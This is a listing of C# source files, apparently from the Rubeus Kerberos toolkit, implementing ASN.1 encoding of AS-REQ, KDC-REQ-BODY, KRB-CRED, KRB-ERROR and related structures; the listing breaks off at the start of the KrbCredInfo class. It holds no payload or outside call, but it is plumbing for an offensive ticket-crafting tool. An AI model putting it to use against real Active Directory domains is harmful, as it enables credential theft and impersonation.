// build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP
// used for "legit" AS-REQs w/ pre-auth
// set pre-auth
AS_REQ req = new AS_REQ(keyString, etype);
// req.padata.Add()
// set the username to request a TGT for
req.req_body.cname.name_string.Add(userName);
// the realm (domain) the user exists in
req.req_body.realm = domain;
// KRB_NT_SRV_INST = 2
// service and other unique instance (krbtgt)
req.req_body.sname.name_type = 2;
req.req_body.sname.name_string.Add("krbtgt");
req.req_body.sname.name_string.Add(domain);
// add in our encryption type
req.req_body.etypes.Add(etype);
return req.Encode().Encode();
}
public AS_REQ()
{
// default, for creation
pvno = 5;
msg_type = 10;
padata = new List<PA_DATA>();
padata.Add(new PA_DATA());
req_body = new KDCReqBody();
}
public AS_REQ(string keyString, Interop.KERB_ETYPE etype)
{
// default, for creation
pvno = 5;
msg_type = 10;
padata = new List<PA_DATA>();
// add the encrypted timestamp
padata.Add(new PA_DATA(keyString, etype));
// add the include-pac == true
padata.Add(new PA_DATA());
req_body = new KDCReqBody();
}
public AS_REQ(byte[] data)
{
// decode the supplied bytes to an AsnElt object
data = AsnIO.FindBER(data);
AsnElt asn_AS_REQ = AsnElt.Decode(data);
padata = new List<PA_DATA>();
// AS-REQ::= [APPLICATION 10] KDC-REQ
// tag class == 1
// tag class == 10
// SEQUENCE
if (asn_AS_REQ.TagValue != 10)
{
throw new System.Exception("AS-REQ tag value should be 10");
}
if ((asn_AS_REQ.Sub.Length != 1) || (asn_AS_REQ.Sub[0].TagValue != 16))
{
throw new System.Exception("First AS-REQ sub should be a sequence");
}
// extract the KDC-REP out
AsnElt[] kdc_req = asn_AS_REQ.Sub[0].Sub;
foreach (AsnElt s in kdc_req)
{
switch (s.TagValue)
{
case 1:
pvno = s.Sub[0].GetInteger();
break;
case 2:
msg_type = s.Sub[0].GetInteger();
break;
case 3:
// sequence of pa-data
foreach(AsnElt pa in s.Sub[0].Sub)
{
padata.Add(new PA_DATA(pa));
}
break;
case 4:
// KDC-REQ-BODY
req_body = new KDCReqBody(s.Sub[0]);
break;
default:
throw new System.Exception(String.Format("Invalid tag AS-REQ value : {0}", s.TagValue));
}
}
}
public AsnElt Encode()
{
// pvno [1] INTEGER (5)
AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn });
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq);
// msg-type [2] INTEGER (10 -- AS -- )
AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type);
AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN });
msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq);
// padata [3] SEQUENCE OF PA-DATA OPTIONAL
List<AsnElt> padatas = new List<AsnElt>();
foreach (PA_DATA pa in padata)
{
padatas.Add(pa.Encode());
}
AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray());
AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq });
padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2);
// req-body [4] KDC-REQ-BODY
AsnElt req_Body_ASN = req_body.Encode();
AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
// encode it all into a sequence
AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq };
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
// AS-REQ ::= [APPLICATION 10] KDC-REQ
// put it all together and tag it with 10
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 10, totalSeq);
return totalSeq;
}
public long pvno { get; set;}
public long msg_type { get; set; }
//public PAData[] padata { get; set; }
public List<PA_DATA> padata { get; set; }
public KDCReqBody req_body { get; set; }
}
}

View File

@ -0,0 +1,105 @@
using System;
using Asn1;
using System.Text;
using System.Collections.Generic;
namespace Rubeus
{
public class Authenticator
{
//Authenticator ::= [APPLICATION 2] SEQUENCE {
// authenticator-vno [0] INTEGER (5),
// crealm [1] Realm,
// cname [2] PrincipalName,
// cksum [3] Checksum OPTIONAL,
// cusec [4] Microseconds,
// ctime [5] KerberosTime,
// subkey [6] EncryptionKey OPTIONAL,
// seq-number [7] UInt32 OPTIONAL,
// authorization-data [8] AuthorizationData OPTIONAL
//}
// NOTE: we're only using:
// authenticator-vno [0]
// crealm [1]
// cname [2]
// cusec [4]
// ctime [5]
public Authenticator()
{
authenticator_vno = 5;
crealm = "";
cname = new PrincipalName();
cusec = 0;
ctime = DateTime.UtcNow;
}
public AsnElt Encode()
{
List<AsnElt> allNodes = new List<AsnElt>();
// authenticator-vno [0] INTEGER (5)
AsnElt pvnoAsn = AsnElt.MakeInteger(authenticator_vno);
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn });
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
allNodes.Add(pvnoSeq);
// crealm [1] Realm
AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, crealm);
realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn);
AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn });
realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmSeq);
allNodes.Add(realmSeq);
// cname [2] PrincipalName
AsnElt snameElt = cname.Encode();
snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameElt);
allNodes.Add(snameElt);
// TODO: correct format (UInt32)?
// cusec [4] Microseconds
AsnElt nonceAsn = AsnElt.MakeInteger(cusec);
AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn });
nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, nonceSeq);
allNodes.Add(nonceSeq);
// ctime [5] KerberosTime
AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, ctime.ToString("yyyyMMddHHmmssZ"));
AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn });
tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq);
allNodes.Add(tillSeq);
// package it all up
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
// tag the final total
AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq });
final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final);
return final;
}
public long authenticator_vno { get; set; }
public string crealm { get; set; }
public PrincipalName cname { get; set; }
public long cusec { get; set; }
public DateTime ctime { get; set; }
}
}

View File

@ -0,0 +1,64 @@
using System;
using Asn1;
using System.Text;
using System.Collections.Generic;
namespace Rubeus
{
public class Checksum
{
//Checksum ::= SEQUENCE {
// cksumtype [0] Int32,
// checksum [1] OCTET STRING
//}
public Checksum(byte[] data)
{
// KERB_CHECKSUM_HMAC_MD5 = -138
cksumtype = -138;
checksum = data;
}
public Checksum(AsnElt body)
{
foreach (AsnElt s in body.Sub)
{
switch (s.TagValue)
{
case 0:
cksumtype = Convert.ToInt32(s.Sub[0].GetInteger());
break;
case 2:
checksum = s.Sub[0].GetOctetString();
break;
default:
break;
}
}
}
public AsnElt Encode()
{
// cksumtype [0] Int32
AsnElt cksumtypeAsn = AsnElt.MakeInteger(cksumtype);
AsnElt cksumtypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeAsn });
cksumtypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, cksumtypeSeq);
// checksum [1] OCTET STRING
AsnElt checksumAsn = AsnElt.MakeBlob(checksum);
AsnElt checksumSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { checksumAsn });
checksumSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, checksumSeq);
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeSeq, checksumSeq });
AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { totalSeq });
return totalSeq2;
}
public Int32 cksumtype { get; set; }
public byte[] checksum { get; set; }
}
}

View File

@ -0,0 +1,108 @@
using System;
using Asn1;
using System.Text;
using System.Collections.Generic;
namespace Rubeus
{
public class EncKDCRepPart
{
//EncKDCRepPart::= SEQUENCE {
// key[0] EncryptionKey,
// last-req[1] LastReq,
// nonce[2] UInt32,
// key-expiration[3] KerberosTime OPTIONAL,
// flags[4] TicketFlags,
// authtime[5] KerberosTime,
// starttime[6] KerberosTime OPTIONAL,
// endtime[7] KerberosTime,
// renew-till[8] KerberosTime OPTIONAL,
// srealm[9] Realm,
// sname[10] PrincipalName,
// caddr[11] HostAddresses OPTIONAL,
// encrypted-pa-data[12] SEQUENCE OF PA-DATA OPTIONAL
//}
public EncKDCRepPart(AsnElt body)
{
foreach (AsnElt s in body.Sub)
{
switch (s.TagValue)
{
case 0:
key = new EncryptionKey(s);
break;
case 1:
lastReq = new LastReq(s.Sub[0]);
break;
case 2:
nonce = Convert.ToUInt32(s.Sub[0].GetInteger());
break;
case 3:
key_expiration = s.Sub[0].GetTime();
break;
case 4:
UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger());
byte[] tempBytes = BitConverter.GetBytes(temp);
flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0);
break;
case 5:
authtime = s.Sub[0].GetTime();
break;
case 6:
starttime = s.Sub[0].GetTime();
break;
case 7:
endtime = s.Sub[0].GetTime();
break;
case 8:
renew_till = s.Sub[0].GetTime();
break;
case 9:
realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
break;
case 10:
// sname (optional)
sname = new PrincipalName(s.Sub[0]);
break;
case 11:
// HostAddresses, skipped for now
break;
case 12:
// encrypted-pa-data, skipped for now
break;
default:
break;
}
}
}
// won't really every need to *create* a KDC reply, so no Encode()
public EncryptionKey key { get; set; }
public LastReq lastReq { get; set; }
public UInt32 nonce { get; set; }
public DateTime key_expiration { get; set; }
public Interop.TicketFlags flags { get; set; }
public DateTime authtime { get; set; }
public DateTime starttime { get; set; }
public DateTime endtime { get; set; }
public DateTime renew_till { get; set; }
public string realm { get; set; }
public PrincipalName sname { get; set; }
// caddr (optional) - skip for now
// encrypted-pa-data (optional) - skip for now
}
}

View File

@ -0,0 +1,57 @@
using System;
using Asn1;
using System.Collections.Generic;
namespace Rubeus
{
//EncKrbCredPart ::= [APPLICATION 29] SEQUENCE {
// ticket-info [0] SEQUENCE OF KrbCredInfo,
// nonce [1] UInt32 OPTIONAL,
// timestamp [2] KerberosTime OPTIONAL,
// usec [3] Microseconds OPTIONAL,
// s-address [4] HostAddress OPTIONAL,
// r-address [5] HostAddress OPTIONAL
//}
public class EncKrbCredPart
{
public EncKrbCredPart()
{
// TODO: defaults for creation
ticket_info = new List<KrbCredInfo>();
}
public EncKrbCredPart(AsnElt body)
{
ticket_info = new List<KrbCredInfo>();
byte[] octetString = body.Sub[1].Sub[0].GetOctetString();
AsnElt body2 = AsnElt.Decode(octetString);
// assume only one KrbCredInfo for now
KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]);
ticket_info.Add(info);
}
public AsnElt Encode()
{
// ticket-info [0] SEQUENCE OF KrbCredInfo
// assume just one ticket-info for now
// TODO: handle multiple ticket-infos
AsnElt infoAsn = ticket_info[0].Encode();
AsnElt seq1 = AsnElt.Make(AsnElt.SEQUENCE, new[] { infoAsn });
AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq1 });
seq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, seq2);
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq2 });
AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq });
totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 29, totalSeq2);
return totalSeq2;
}
public List<KrbCredInfo> ticket_info { get; set; }
// other fields are optional/not used in our use cases
}
}

View File

@ -0,0 +1,85 @@
using System;
using Asn1;
using System.Text;
using System.Collections.Generic;
namespace Rubeus
{
public class EncryptedData
{
//EncryptedData::= SEQUENCE {
// etype[0] Int32 -- EncryptionType --,
// kvno[1] UInt32 OPTIONAL,
// cipher[2] OCTET STRING -- ciphertext
//}
public EncryptedData()
{
}
public EncryptedData(Int32 encType, byte[] data)
{
etype = encType;
cipher = data;
}
public EncryptedData(AsnElt body)
{
foreach (AsnElt s in body.Sub)
{
switch (s.TagValue)
{
case 0:
etype = Convert.ToInt32(s.Sub[0].GetInteger());
break;
case 1:
kvno = Convert.ToUInt32(s.Sub[0].GetInteger());
break;
case 2:
cipher = s.Sub[0].GetOctetString();
break;
default:
break;
}
}
}
public AsnElt Encode()
{
// etype [0] Int32 -- EncryptionType --,
AsnElt etypeAsn = AsnElt.MakeInteger(etype);
AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn });
etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq);
// cipher [2] OCTET STRING -- ciphertext
AsnElt cipherAsn = AsnElt.MakeBlob(cipher);
AsnElt cipherSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cipherAsn });
cipherSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, cipherSeq);
if (kvno != 0)
{
// kvno [1] UInt32 OPTIONAL
AsnElt kvnoAsn = AsnElt.MakeInteger(kvno);
AsnElt kvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { kvnoAsn });
kvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, kvnoSeq);
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, kvnoSeq, cipherSeq });
return totalSeq;
}
else
{
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, cipherSeq });
return totalSeq;
}
}
public Int32 etype { get; set; }
public UInt32 kvno { get; set; }
public byte[] cipher { get; set; }
}
}

View File

@ -0,0 +1,68 @@
using System;
using Asn1;
using System.Text;
using System.Collections.Generic;
namespace Rubeus
{
public class EncryptionKey
{
//EncryptionKey::= SEQUENCE {
// keytype[0] Int32 -- actually encryption type --,
// keyvalue[1] OCTET STRING
//}
public EncryptionKey()
{
keytype = 0;
keyvalue = null;
}
public EncryptionKey(AsnElt body)
{
foreach (AsnElt s in body.Sub[0].Sub)
{
switch (s.TagValue)
{
case 0:
keytype = Convert.ToInt32(s.Sub[0].GetInteger());
break;
case 1:
keyvalue = s.Sub[0].GetOctetString();
break;
case 2:
keyvalue = s.Sub[0].GetOctetString();
break;
default:
break;
}
}
}
public AsnElt Encode()
{
// keytype[0] Int32 -- actually encryption type --
AsnElt keyTypeElt = AsnElt.MakeInteger(keytype);
AsnElt keyTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { keyTypeElt });
keyTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyTypeSeq);
// keyvalue[1] OCTET STRING
AsnElt blob = AsnElt.MakeBlob(keyvalue);
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { blob });
blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, blobSeq);
// build the final sequences (s)
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { keyTypeSeq, blobSeq });
AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
return seq2;
}
public Int32 keytype { get; set; }
public byte[] keyvalue { get; set; }
}
}

View File

@ -0,0 +1,231 @@
using System;
using Asn1;
using System.Text;
using System.Collections.Generic;
namespace Rubeus
{
public class KDCReqBody
{
//KDC-REQ-BODY::= SEQUENCE {
// kdc-options[0] KDCOptions,
// cname[1] PrincipalName OPTIONAL
// -- Used only in AS-REQ --,
// realm[2] Realm
// -- Server's realm
// -- Also client's in AS-REQ --,
// sname[3] PrincipalName OPTIONAL,
// from[4] KerberosTime OPTIONAL,
// till[5] KerberosTime,
// rtime[6] KerberosTime OPTIONAL,
// nonce[7] UInt32,
// etype[8] SEQUENCE OF Int32 -- EncryptionType
// -- in preference order --,
// addresses[9] HostAddresses OPTIONAL,
// enc-authorization-data[10] EncryptedData OPTIONAL
// -- AuthorizationData --,
// additional-tickets[11] SEQUENCE OF Ticket OPTIONAL
// -- NOTE: not empty
//}
public KDCReqBody()
{
// defaults for creation
kdcOptions = Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK;
cname = new PrincipalName();
sname = new PrincipalName();
// date time from kekeo ;) HAI 2037!
till = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture);
// kekeo/mimikatz nonce ;)
//nonce = 12381973;
nonce = 1818848256;
additional_tickets = new List<Ticket>();
etypes = new List<Interop.KERB_ETYPE>();
}
public KDCReqBody(AsnElt body)
{
foreach (AsnElt s in body.Sub)
{
switch (s.TagValue)
{
case 0:
UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger());
byte[] tempBytes = BitConverter.GetBytes(temp);
kdcOptions = (Interop.KdcOptions)BitConverter.ToInt32(tempBytes, 0);
break;
case 1:
// optional
cname = new PrincipalName(s.Sub[0]);
break;
case 2:
realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
break;
case 3:
// optional
sname = new PrincipalName(s.Sub[0]);
break;
case 4:
// optional
from = s.Sub[0].GetTime();
break;
case 5:
till = s.Sub[0].GetTime();
break;
case 6:
// optional
rtime = s.Sub[0].GetTime();
break;
case 7:
nonce = Convert.ToUInt32(s.Sub[0].GetInteger());
break;
case 8:
//etypes = new Enums.KERB_ETYPE[s.Sub[0].Sub.Length];
etypes = new List<Interop.KERB_ETYPE>();
for (int i = 0; i < s.Sub[0].Sub.Length; i++)
{
//etypes[i] = (Enums.KERB_ETYPE)Convert.ToUInt32(s.Sub[0].Sub[i].GetInteger());
etypes.Add((Interop.KERB_ETYPE)Convert.ToUInt32(s.Sub[0].Sub[i].GetInteger()));
}
break;
case 9:
// addresses (optional)
break;
case 10:
// enc authorization-data (optional)
break;
case 11:
// additional-tickets (optional)
break;
default:
break;
}
}
}
public AsnElt Encode()
{
// TODO: error-checking!
List<AsnElt> allNodes = new List<AsnElt>();
// kdc-options [0] KDCOptions
byte[] kdcOptionsBytes = BitConverter.GetBytes((UInt32)kdcOptions);
if (BitConverter.IsLittleEndian)
{
Array.Reverse(kdcOptionsBytes);
}
AsnElt kdcOptionsAsn = AsnElt.MakeBitString(kdcOptionsBytes);
AsnElt kdcOptionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { kdcOptionsAsn });
kdcOptionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, kdcOptionsSeq);
allNodes.Add(kdcOptionsSeq);
// cname [1] PrincipalName
if (cname != null)
{
AsnElt cnameElt = cname.Encode();
cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, cnameElt);
allNodes.Add(cnameElt);
}
// realm [2] Realm
// --Server's realm
// -- Also client's in AS-REQ --
AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm);
realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn);
AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn });
realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq);
allNodes.Add(realmSeq);
// sname [3] PrincipalName OPTIONAL
AsnElt snameElt = sname.Encode();
snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, snameElt);
allNodes.Add(snameElt);
// from [4] KerberosTime OPTIONAL
// till [5] KerberosTime
AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, till.ToString("yyyyMMddHHmmssZ"));
AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn });
tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq);
allNodes.Add(tillSeq);
// rtime [6] KerberosTime
// nonce [7] UInt32
AsnElt nonceAsn = AsnElt.MakeInteger(nonce);
AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn });
nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, nonceSeq);
allNodes.Add(nonceSeq);
// etype [8] SEQUENCE OF Int32 -- EncryptionType -- in preference order --
List <AsnElt> etypeList = new List<AsnElt>();
foreach (Interop.KERB_ETYPE etype in etypes)
{
AsnElt etypeAsn = AsnElt.MakeInteger((UInt32)etype);
//AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { etypeAsn });
etypeList.Add(etypeAsn);
}
AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray());
AsnElt etypeSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray());
AsnElt etypeSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, etypeSeqTotal1);
etypeSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, etypeSeqTotal2);
allNodes.Add(etypeSeqTotal2);
// addresses [9] HostAddresses OPTIONAL
// enc-authorization-data [10] EncryptedData OPTIONAL
// additional-tickets [11] SEQUENCE OF Ticket OPTIONAL
if(additional_tickets.Count > 0) {
AsnElt ticketAsn = additional_tickets[0].Encode();
AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn });
AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq });
ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 11, ticketSeq2);
allNodes.Add(ticketSeq2);
}
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
return seq;
}
public Interop.KdcOptions kdcOptions { get; set; }
public PrincipalName cname { get; set; }
public string realm { get; set; }
public PrincipalName sname { get; set; }
public DateTime from { get; set; }
public DateTime till { get; set; }
public DateTime rtime { get; set; }
public UInt32 nonce { get; set; }
public List<Interop.KERB_ETYPE> etypes { get; set; }
public List<Ticket> additional_tickets { get; set; }
}
}

View File

@ -0,0 +1,45 @@
using Asn1;
using System;
using System.Text;
namespace Rubeus
{
//KERB-PA-PAC-REQUEST ::= SEQUENCE {
// include-pac[0] BOOLEAN --If TRUE, and no pac present, include PAC.
// --If FALSE, and PAC present, remove PAC
//}
public class KERB_PA_PAC_REQUEST
{
public KERB_PA_PAC_REQUEST()
{
// default -> include PAC
include_pac = true;
}
public KERB_PA_PAC_REQUEST(AsnElt value)
{
include_pac = value.Sub[0].Sub[0].GetBoolean();
}
public AsnElt Encode()
{
AsnElt ret;
if (include_pac)
{
ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 });
}
else
{
ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x00 });
}
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ret });
return seq;
}
public bool include_pac { get; set; }
}
}

View File

@ -0,0 +1,126 @@
using System;
using Asn1;
using System.Collections.Generic;
namespace Rubeus
{
public class KRB_CRED
{
//KRB-CRED::= [APPLICATION 22] SEQUENCE {
// pvno[0] INTEGER(5),
// msg-type[1] INTEGER(22),
// tickets[2] SEQUENCE OF Ticket,
// enc-part[3] EncryptedData -- EncKrbCredPart
//}
public KRB_CRED()
{
// defaults for creation
pvno = 5;
msg_type = 22;
tickets = new List<Ticket>();
enc_part = new EncKrbCredPart();
}
public KRB_CRED(byte[] bytes)
{
AsnElt asn_KRB_CRED = AsnElt.Decode(bytes, false);
this.Decode(asn_KRB_CRED.Sub[0]);
}
public KRB_CRED(AsnElt body)
{
this.Decode(body);
}
public void Decode(AsnElt body)
{
tickets = new List<Ticket>();
foreach (AsnElt s in body.Sub)
{
switch (s.TagValue)
{
case 0:
pvno = Convert.ToInt32(s.Sub[0].GetInteger());
break;
case 1:
msg_type = Convert.ToInt32(s.Sub[0].GetInteger());
break;
case 2:
foreach (AsnElt ae in s.Sub[0].Sub[0].Sub)
{
Ticket ticket = new Ticket(ae);
tickets.Add(ticket);
}
break;
case 3:
enc_part = new EncKrbCredPart(s.Sub[0]);
break;
default:
break;
}
}
}
public AsnElt Encode()
{
// pvno [0] INTEGER (5)
AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn });
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
// msg-type [1] INTEGER (22)
AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type);
AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn });
msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
// tickets [2] SEQUENCE OF Ticket
// TODO: encode/handle multiple tickets!
AsnElt ticketAsn = tickets[0].Encode();
AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn });
AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq });
ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ticketSeq2);
// enc-part [3] EncryptedData -- EncKrbCredPart
AsnElt enc_partAsn = enc_part.Encode();
AsnElt blob = AsnElt.MakeBlob(enc_partAsn.Encode());
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
// etype == 0 -> no encryption
AsnElt etypeAsn = AsnElt.MakeInteger(0);
AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn });
etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq);
AsnElt infoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq });
AsnElt infoSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { infoSeq });
infoSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, infoSeq2);
// all the components
AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 });
// tag the final total
AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total });
final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final);
return final;
}
public long pvno { get; set; }
public long msg_type { get; set; }
//public Ticket[] tickets { get; set; }
public List<Ticket> tickets { get; set; }
public EncKrbCredPart enc_part { get; set; }
}
}

View File

@ -0,0 +1,110 @@
using System;
using Asn1;
using System.Collections.Generic;
using System.Text;
namespace Rubeus
{
public class KRB_ERROR
{
//KRB-ERROR ::= [APPLICATION 30] SEQUENCE {
// pvno [0] INTEGER (5),
// msg-type [1] INTEGER (30),
// ctime [2] KerberosTime OPTIONAL,
// cusec [3] Microseconds OPTIONAL,
// stime [4] KerberosTime,
// susec [5] Microseconds,
// error-code [6] Int32,
// crealm [7] Realm OPTIONAL,
// cname [8] PrincipalName OPTIONAL,
// realm [9] Realm -- service realm --,
// sname [10] PrincipalName -- service name --,
// e-text [11] KerberosString OPTIONAL,
// e-data [12] OCTET STRING OPTIONAL
//}
public KRB_ERROR(byte[] errorBytes)
{
}
public KRB_ERROR(AsnElt body)
{
foreach (AsnElt s in body.Sub)
{
switch (s.TagValue)
{
case 0:
pvno = Convert.ToUInt32(s.Sub[0].GetInteger());
break;
case 1:
msg_type = Convert.ToUInt32(s.Sub[0].GetInteger());
break;
case 2:
ctime = s.Sub[0].GetTime();
break;
case 3:
cusec = Convert.ToUInt32(s.Sub[0].GetInteger());
break;
case 4:
stime = s.Sub[0].GetTime();
break;
case 5:
susec = Convert.ToUInt32(s.Sub[0].GetInteger());
break;
case 6:
error_code = Convert.ToUInt32(s.Sub[0].GetInteger());
break;
case 7:
crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
break;
case 8:
cname = new PrincipalName(s.Sub[0]);
break;
case 9:
realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
break;
case 10:
sname = new PrincipalName(s.Sub[0]);
break;
default:
break;
}
}
}
// don't ever really need to create a KRB_ERROR structure manually, so no Encode()
public long pvno { get; set; }
public long msg_type { get; set; }
public DateTime ctime { get; set; }
public long cusec { get; set; }
public DateTime stime { get; set; }
public long susec { get; set; }
public long error_code { get; set; }
public string crealm { get; set; }
public PrincipalName cname { get; set; }
public string realm { get; set; }
public PrincipalName sname { get; set; }
// skipping these two for now
// e_text
// e_data
//public Ticket[] tickets { get; set; }
public List<Ticket> tickets { get; set; }
public EncKrbCredPart enc_part { get; set; }
}
}

View File

@ -0,0 +1,216 @@
using System;
using Asn1;
using System.Text;
using System.Collections.Generic;
namespace Rubeus
{
public class KrbCredInfo
{
